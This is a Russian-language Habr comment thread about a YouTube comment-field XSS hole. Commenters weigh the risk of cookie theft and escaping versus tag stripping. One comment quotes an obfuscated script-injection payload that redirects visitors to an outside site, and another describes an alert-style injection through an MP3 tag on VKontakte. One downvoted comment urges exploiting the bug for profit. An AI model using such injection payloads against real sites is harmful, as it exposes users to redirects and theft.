How to become an author
Search
Write a publication
Pull to refresh

Comments 81

Самое время сменить пароли, если переходили по «инфицированным» видео и воздержаться от просмотра видео на страницах youtube.com пока уязвимость не пофиксили! Что самое страшное: в страницу вполне можно внедрить (и внедряют) Javascript код с каким-нибудь cookie-сниффером. Вот так вот, одна ошибка в коде огромного портала может привести к тотальной угрозе для всех его пользователей.
Total votes 14: ↑12 and ↓2+10
UFO just landed and posted this here
У многих кстати это часть единого аккаунта гугла
Total votes 38: ↑38 and ↓0+38
UFO just landed and posted this here
Почту заводят не для того чтобы там спам держать, а для каких-то личных вещей. Личное — важно.
Total votes 8: ↑7 and ↓1+6
А нефиг почту на SaaS'ах держать ;)
Total votes 9: ↑7 and ↓2+5
UFO just landed and posted this here
Тобишь мне нужно завести трусы, чтобы чистеть зубы, когда я их почищу и начну умывать лицо — мне нужно надеть другие трусы, одену штаны — третьи, футболку — четвертныЕ, пойду покушать — пятые и так далее?
А если носки добавить?
Total votes 2: ↑2 and ↓0+2
Тобишь четвертныЕ

такдауШъ: То-бишь четвертныЕ? )))
This comment wasn’t rated yet0
описка по Фрейду ;)
This comment wasn’t rated yet0
UFO just landed and posted this here
UFO just landed and posted this here
товарищ приверженец мэйлру?
This comment wasn’t rated yet0
Вот если бы это предупреждение в посте перед ссылками поставили, цены бы не было =)
Total votes 5: ↑5 and ↓0+5
Насколько я знаю, авторизация у Ютуба, как и у других сервисов Гугла, проходит только на https://google.com/account, и автоиризационные куки с ютуба не упрешь, а сессионная кука, наверно, быстро сдохнет, и теоретически мождет быть привязана к Ip адресу.
Total votes 4: ↑4 and ↓0+4
Неприятно, если через твой аккаунт зальют ЦП и заблокируют учетную запись во всех сервисах гугла.
This comment wasn’t rated yet0
Там стоит HttpOnly кука, так что пофиг.
This comment wasn’t rated yet0
а где же ссылка на нить обсуждения? ;)
PS в массы уязвимости запустили на 4chan
Total votes 33: ↑17 and ↓16+1
UFO just landed and posted this here
Зачем же так грубо, а линк я дал, так как там больше примеров, следовательно яснее будет что за уязвимость, что прохдит что нет. И не надо пробовать, уже все за тебя испытали.
Total votes 14: ↑11 and ↓3+8
Наткнулся на это 5 минут назад.
Total votes 1: ↑1 and ↓0+1
UFO just landed and posted this here
Ну, спереть пароли-куки-пр. через iframe нельзя.
Total votes 3: ↑1 and ↓2-1
Зато можно поставить связку эксплоитов, а на популярных роликах трафик очень большой.
Total votes 3: ↑3 and ↓0+3
Троянов часто через фреймы раздают.
Есть очень много партнерок, которые покупают такой трафик.
Думаю на ютубе трафика много :)
Total votes 3: ↑3 and ↓0+3
UFO just landed and posted this here
А если у меня линукс? Я не с подковыркой спрашиваю, просто интересно, чисто теоретически. Куки то оно понятно, а вот трояны пока что не для всех ведь делают?
Total votes 2: ↑1 and ↓10
Линукс не важен.
Total votes 2: ↑0 and ↓2-2
Ой да ладно вам :)
Ещё никто не отменял сплоиты под программмы для линукса. Тут дело даже не в ОС, а в том, какой софт вы используйте.
Если не с подковыркой, то я с удовольствием отвечаю на Ваш вопрос.
Ботнеты можно на сотовых телефонах, и на тостерах и холодильниках создать, что уж говорить про устройства где установлена никсоподобная ОС.
Руткиты существуют под многие ОС. Вполне возможно, с ростом популярности Убунты (это для примера) появятся с публичных связках сплоиты для получения рута, а там уже и троян не плохо будет себя чувствовать.
Всё дело времени :)
This comment wasn’t rated yet0
Все люди ошибаются.
Все что сделано — можно сломать.
Чем проще — тем сложнее.
Первое, что пришло в голову)
Total votes 1: ↑0 and ↓1-1
UFO just landed and posted this here
«Комментарии к этому видео скрыты в соответствии с настройками безопасного режима. Показать скрытые комментарии „
Оперативно видимо работают.
Total votes 4: ↑3 and ↓1+2
не пофиксили. Просто скрыли комментарии
Total votes 1: ↑1 and ↓0+1
У меня никаких надписей красным нет. Камменты с кодом видны. :)
This comment wasn’t rated yet0
Красных надписей _уже_ никто не видит
This comment wasn’t rated yet0
Просто кто-то из работников Google читает хабр или двач :)
Total votes 20: ↑7 and ↓13-6
Наверное, им кто-то просто сообщил в техподдержку. И я считаю, что она у них круглосуточна :)
КО?
Total votes 1: ↑0 and ↓1-1
а че такое двач? мой коммент из за этого заминусовали? м
Total votes 5: ↑0 and ↓5-5
да на многих крупных проектах есть XSS уязвимости.
Для примера, не очень опасный xss, Вконтакте — загрузка аудиофайлов.
Если в свойствах мп3 в поле «Исполнитель» вписать '+alert+' и загрузить — выскочит алерт.
Total votes 8: ↑6 and ↓2+4
Может кто-нибудь объяснить, почему это возможно? Разве YouTube позволяет вставлять в комментарии какие-либо теги (bb или html)? Если нет, то почему они просто не заменяет все html символы на спец. коды?
Total votes 4: ↑4 and ↓0+4
Видимо вся соль в IF_HTML_FUNCTION?
Каким то образом ломается вырезалка html
Total votes 1: ↑0 and ↓1-1
Если заменять знаки <> на их HTML сущности, то ничего вырезать не надо. Не понимаю, почему зачастую предпочитают вырезать теги.
Total votes 6: ↑5 and ↓1+4
чтобы оставить чистый текст, очевидно.
Total votes 3: ↑1 and ↓2-1
Чего за минуса? :)

Это же очевиндо зачем вырезают html-сущности в тех местах, где их нельзя использовать.

Если человек напишет какой нибудь комментарий и использует в нем всякие и еще 100500 тегов, обычному человеку такой текст прочитать в мешанине тегов если просто заменить < и > на < &gt будет сложно.

Если же вырезать html-сущености совсем то останется прсто чистый неформатированный текст, который будет удобен для чтения
This comment wasn’t rated yet0
Посмотрим со стороны пользователя:
Я хочу видеть свое сообщение так, как я его написал. Почему мне не дают писать сообщения так, как я хочу? Безопасность безопасностью, а палки в колеса пользователю вставлять не надо.
Если в комментарии стопицот тегов, то зачем его читать? Если бы автор сообщения хотел донести свою мысль, он бы не стал «обфусцировать» свой коммент.

P.S. Минусовал не я.
Total votes 4: ↑4 and ↓0+4
ну там где нельзя использовать html обычно прямо пишут что там нельзя использовать html и => весь html вырезается.

Мне кажется это нормально. Если есть желание вставить какой-то html-код в сообщение, то для этого есть специальные теги
<pre>
Total votes 1: ↑0 and ↓1-1
А если я хочу написать HTML код обычным сообщением, мне что, заменять символы <> на сущности? А если и амперсанд заменяется? Если нет никакого форматирования сообщений, они должны отображаться именно так, как написаны.
Total votes 5: ↑5 and ↓0+5
А я бы не палил эту тему в паблик а использовал ее по максимуму для выжима бабла этой вкусной темы. И к черту этику и всякие бла-бла-бла о морали.
Total votes 38: ↑4 and ↓34-30
А потом удивляемся =)
Total votes 13: ↑12 and ↓1+11
откуда знаете, что по максимуму уже не выжали из этой вкусной темы? )
или, возможно, эта вкусная тема лишь отвлекающий маневр от какой-нибудь другое, еще более вкусной темы
Total votes 6: ↑6 and ↓0+6
Все равно бы заметили, если делать это в промышленных масштабах. На дваче уже и так за пару часов много чего успели попробовать — даже дорвейщики подключались и похоже не безуспешно для себя… А в целом легион постарался на славу )) img408.imageshack.us/img408/1415/1278252932293.png
Total votes 4: ↑1 and ↓3-2
Редирект работал успешно. Вот вариант кода редиректа на румынских хацкеров:
<script>Zbody onLoad=”document.write(‘<script>window.location = 
String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 119, 
119, 119, 46, 105, 110, 115, 101, 99, 117, 114, 105, 116,
121, 46, 114, 111, 47);</script>’);”;
Total votes 1: ↑1 and ↓0+1
Почитайте Кысь.
This comment wasn’t rated yet0
Вы считаете, такая уязвимость у такого сервиса может продержаться долго, даже если её не палить? Точнее, если её «пытаться» не палить?
This comment wasn’t rated yet0
профиксили уже. вырезают автоматически тег со словом script

как выглядела проблема вживую можно посмотреть здесь — там видео есть
Total votes 2: ↑2 and ↓0+2
Интерестно, почему ролик на ютуб не залили. Было бы весело)
This comment wasn’t rated yet0
Выложите на зеркало, пожалуйста.
Total votes 1: ↑1 and ↓0+1
Пофиксили уже =(
А я хотел пакмана пустить побегать =(
Total votes 1: ↑1 and ↓0+1
UFO just landed and posted this here
хы, gооgle.cоm.is.hоsted.оn.prоfithоsting.net, это я еще в 2007 делал, забыл уже… :)
This comment wasn’t rated yet0
Тоже использовал noscript, но ютуб у меня в нем был разрешен…
This comment wasn’t rated yet0
Возможно и неследие от создателей сервиса.
This comment wasn’t rated yet0
Sign up to leave a comment.

Articles

Show the best of all time

Your account

Sections

Information

Services

Support
© 2006–2024, Habr